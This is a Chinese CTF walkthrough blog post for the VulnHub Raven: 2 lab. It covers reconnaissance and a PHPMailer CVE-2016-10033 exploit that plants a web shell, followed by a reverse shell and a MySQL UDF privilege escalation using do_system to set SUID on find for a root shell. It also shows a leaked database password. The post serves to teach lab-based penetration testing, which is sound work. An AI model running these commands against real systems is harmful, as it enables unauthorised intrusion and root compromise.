No.3-VulnHub-Raven: 2-Walkthrough渗透学习

**

VulnHub-Raven: 2-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机难度:中等(CTF)
靶机发布日期:2018年5月4日
靶机描述:Raven:2是中级boot2root VM。有四个要捕获的标志。在多次破坏之后,Raven Security采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以破坏Raven:2?
目标:找到四个flag.txt信息
作者:大余
时间:2019-12-29

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
这里还能使用arp-scan -l 或者 netdiscover来获取需要攻击主机的IP地址。
主机IP:192.168.182.142
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口扫描:
在这里插入图片描述看到目标开放了22、80、111端口,其中80端口运行了一个web应用,可以通过入侵web进入系统,由于介绍系统人员加固了改系统设置的系统口令太强,这里没进行爆破。(爆破起来估计要几天…)
在这里插入图片描述
我打算使用dirb进行目录爆破,这里我在重复介绍一次dirb
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
在这里插入图片描述
扫了我10多分钟…看到了好多目录,一个一个从往下看,然后找到http://192.168.182.142/vendor目录有个目录遍历。
在这里插入图片描述
然后继续一个一个打开看,信息收集过程就是这样,要有耐心…
很顺利的在PATH文件里面发现flag1
在这里插入图片描述
获得网站绝对路径:/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
按照难度,应该不会有第二个flag2能这么简单找到了…但是还是一个一个往下看…无用的信息我就过滤不写出来了
在这里插入图片描述
我在README.md文件中看出来这个靶机有一个PHPMailer 邮件服务
我们在README.md文件中看出来这个靶机有一个PHPMailer 邮件服务
版本是5.2.16

二、漏洞利用

搜索PHPMailer版本小于5.2.20存在远程代码执行漏洞
在这里插入图片描述

使用searchsploit 搜索可以利用的漏洞
在这里插入图片描述
也可以到exploit-db.com搜索,并发现利用exp地址:
在这里插入图片描述
漏洞的编号为CVE-2016-10033
在这里插入图片描述
命令:cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
将exp考出,需要针对PHPMailer修改参数
在这里插入图片描述

在这里插入图片描述
我这边把40974.py改名:dayu.py了
这边如果第一次用python执行shell的话,python dayu.py
在这里插入图片描述
会报错,需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
执行python dayu.py
在这里插入图片描述
访问contact.php(http://192.168.182.142/contact.php),此时就会生成后门文件shell.php
在这里插入图片描述
接着访问后门文件:http://192.168.182.142/shell.php
在这里插入图片描述
这边用nc开启监听服务,成功用python shell拿到了低权限www-data
继续用python获取pty,前面两章都有介绍
命令:python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述
这边目标是拿到四个flag文件,目前只拿到了一个。
我尝试使用find查看cd /var 目录下是否有flag文件
在这里插入图片描述
这里很幸运的找到了flag2和flag3,我们进入获取信息
在这里插入图片描述
在这里插入图片描述
这里flag3在图片里是png文件,直接web访问就能查看:http://192.168.182.142/wordpress/wp-content/uploads/2018/11/flag3.png
下一步是要获取靶机root权限才能查看flag4.txt 这又要开始一波艰难的旅程了…
去网站根目录下看看有没有什么有用的信息
在这里插入图片描述
找到一个目录wordpress
进去有一个config,配置文件,查看

在这里插入图片描述在这里插入图片描述
用户:root,密码:R@v3nSecurity

三、权限提升

发现数据库root登录的密码
在这里利用Linux枚举漏洞工具LinEnum(数据库渗透好东西)
下载地址:https://github.com/rebootuser/LinEnum
下载完,我们用python搭建以一个简易的服务器来把文件下载到靶机里面
命令:python -m SimpleHTTPServer 5555
在这里插入图片描述
在这里插入图片描述
上传成功
在这里插入图片描述
需要提权,chmod提权后./LinEnum.sh执行
在这里插入图片描述
可以查看到Mysql是用root登陆的,还有另外一种简单的方法…脑补完才知道
在这里插入图片描述
或者使用命令:ps aux | grep root,查看到当前以root用户身份运行的所有进程。(最近在脑补数据库漏洞利用)…
现在要查找MySQL版本
进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录:ps -ef|grep mysql
或者使用命令:dpkg -l | grep mysqlmysql查看
在这里插入图片描述
命令:dpkg -l | grep mysql
在这里插入图片描述
命令:mysql -u root -pR@v3nSecurity
命令:select version();
可以看到运行是5.5版,还有另外一种方法查看我使用了梯子访问谷歌查看了很多信息,此版本的MySQL容易受到UDF(用户定义函数)漏洞的攻击。
在这里插入图片描述
在这里插入图片描述
可以利用1518.c这个UDF特殊漏洞
MySQL中UDF漏洞学习:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
(这里我是用谷歌翻译来慢慢学习的,耐心学习每个漏洞!!)
想获取1518exploit有两种方法:
1)获取地址:https://www.exploit-db.com/exploits/1518
2)也可以在kali里面搜索,我还是比较喜欢使用kali
在这里插入图片描述
命令:searchsploit 1518.c
命令:cp /usr/share/exploitdb/exploits/linux/local/1518.c /root 拷出
在这里插入图片描述
接着就是利用提权exp的利用了1518.c在kali上进行编译生成so文件:
命令:gcc -g -c 1518.c
命令:gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
在这里插入图片描述
使用前面的python 5555服务传输到靶机
然后通过mysql进行UDF提权
进入数据库创建数据表 foo
命令:create table foo(line blob);
在这里插入图片描述
插入数据:insert into foo values(load_file(’/tmp/dayu.so’));
在这里插入图片描述
Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数
命令:select * from foo into dumpfile ‘/usr/lib/mysql/plugin/dayu.so’;
在这里插入图片描述
创建自定义函数do_system 类型是integer,别名(soname)文件名字
然后查询函数是否创建成功
在这里插入图片描述
命令:create function do_system returns integer soname ‘dayu.so’;
在这里插入图片描述
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
命令:select * from mysql.func;
命令:select do_system(‘chmod u+s /usr/bin/find’);
在这里插入图片描述
执行find命令
使用find执行 shell
命令:find / -exec '/bin/sh ’ \ ;
在这里插入图片描述
成功提权查看flag4.txt
我觉得这靶机不是中等水平…我花了两天时间利用各种时间学习,写了这篇文章,开始很多懂,没思路,都是看各国渗透专家的方式方法,一步一步慢慢学习才写出来的,希望能帮助大家,也是巩固加深我的印象,如果非常喜欢就坚持下去!!!
由于我工作合同到期了,这两天可能会没精力写文章,我的目标是NO.300篇甚至更多,5G时代来临,未来网络安全会不会引发一场战争,为以后打基础拭目以待。

由于我们已经成功得到root权限&找到flag.txt,因此完成了CTF靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
在这里插入图片描述

发布了12 篇原创文章 · 获赞 2 · 访问量 707

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/103753259